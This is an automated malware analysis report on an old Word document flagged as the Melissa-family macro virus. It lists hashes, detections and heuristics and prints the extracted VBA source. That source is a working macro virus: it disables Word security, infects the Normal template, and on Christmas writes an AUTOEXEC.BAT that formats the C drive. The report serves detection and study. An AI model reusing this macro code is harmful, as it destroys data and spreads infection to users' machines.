Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eafeacc9c4c8a4d5…

MALICIOUS

Office (OLE)

43.0 KB Created: 2001-03-05 12:31:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4d57aafc3978c33d05528bfdbf649c4c SHA-1: 2e8bf76361cffb77a1db593130525f7e42e6b83b SHA-256: eafeacc9c4c8a4d5582f92680a0294f3e052ea7ee58361e67b32e84d64a0e4a8
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro that triggers on 'Document_Open'. This macro attempts to disable security features and includes code that, under specific conditions (Christmas Day), writes a batch file to C:\AUTOEXEC.BAT that attempts to format the C drive. The presence of legacy macro virus markers and the specific payload suggest a malicious intent to cause system damage or disruption.

Heuristics 6

  • ClamAV: Doc.Trojan.Melissa-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Melissa-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22653 bytes
SHA-256: c7e06b550b5ce7ba3c63f2227f7540a1ba6929dcfaee0f89b10f848691383a32
Detection
ClamAV: Doc.Trojan.Melissa-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
    Set prevDocument = NormalTemplate
    Set nextDocument = newDocument
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1): Application.DisplayRecentFiles = (1 - 1)
End If
Call DB9310
If Day(Now) = 25 And Month(Now) = 12 Then
Open ("C:\AUTOEXEC.BAT") For Output As #1
Print #1, "@echo off"
Print #1, "@echo Vine...Vide...Vice...Moslem Power Never End..."
Print #1, "@echo Your Computer Have Just Been Terminated By -= CyberNET =- Virus !!!"
Print #1, "ctty nul"
Print #1, "format c: /autotest /q /u"
Close #1
MsgBox "Vine...Vide...Vice...Moslem Power Never End..." & Chr(13) & "You Dare Rise Against Me...The Human Era is Over, The CyberNET Era Has Come !!!", vbCritical + vbOKOnly, "(C)1999 - CyberNET"
Randomize: For ER2447 = 1 To (Int(Rnd * 70))
ActiveDocument.Shapes.AddShape(Int(Rnd * 120), Int(Rnd * 200), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid: Next ER2447: End If
AF7690 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
EA6792 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(9, 4), 4) <> "Call" Then
Set DD6156 = ActiveDocument.VBProject.VBComponents
Call AI5757(DD6156)
CN9685 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(9, 4), 4) <> "Call" Then
Set DD6156 = NormalTemplate.VBProject.VBComponents
Call AI5757(DD6156)
IT7447 = True
Randomize
Dim r1(1 To 29) As String
r1(1) = "LA3150": r1(2) = "HN6720": r1(3) = "DM6113": r1(4) = "IC5974": r1(5) = "EA2976": r1(6) = "AF7690": r1(7) = "EA6792": r1(8) = "CN9685": r1(9) = "DD6156": r1(10) = "IT7447"
r1(11) = "VG9659": r1(12) = "LF9082": r1(13) = "TD1040": r1(14) = "UV270": r1(15) = "AR4228": r1(16) = "DB9310": r1(17) = "VB843": r1(18) = "JI2468": r1(19) = "EC2837": r1(20) = "VM8136"
r1(21) = "JA1847": r1(22) = "RD2972": r1(23) = "KB9847": r1(24) = "AI5757": r1(25) = "IL6896": r1(26) = "HK3239": r1(27) = "ER2447": r1(28) = "OI4890": r1(29) = "FF180"
For AR4228 = 1 To 29
a1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100) & Int(Rnd * 100)
Call EA2976(a1, r1(AR4228))
Next AR4228
ActiveDocument.Saved = True
End If
If IT7447 <> True And CN9685 <> True Then GoTo VG9659
If IT7447 = True Then DD6156.Item(1).CodeModule.AddFromstring ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, AF7690 - 1) & _
vbCr & "Sub ViewVBCode()" & vbCr & "CommandBars(" & Chr(34) & "Tools" & Chr(34) & ").Controls(" & Chr(34) & "Macro" & Chr(34) & ").Enabled = False" & vbCr & "End Sub" & vbCr & "Sub ToolsMacro()" & vbCr & "ViewVBCode" & vbCr & "End Sub")
If CN9685 = True Then DD6156.Item(1).CodeModule.AddFromstring ("Private Sub Document_Open()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, EA6792 - 8))
VG9659:
If EA6792 <> 0 And AF7690 = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
End Sub
Private Function EA2976(UV270, TD1040 As String)
On Error Resume Next
Dim LA3150 As Long: Dim HN6720 As Long: Dim DM6113 As Long: Dim IC5974 As Long
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
LA3150 = 1: HN6720 = 1: 
... (truncated)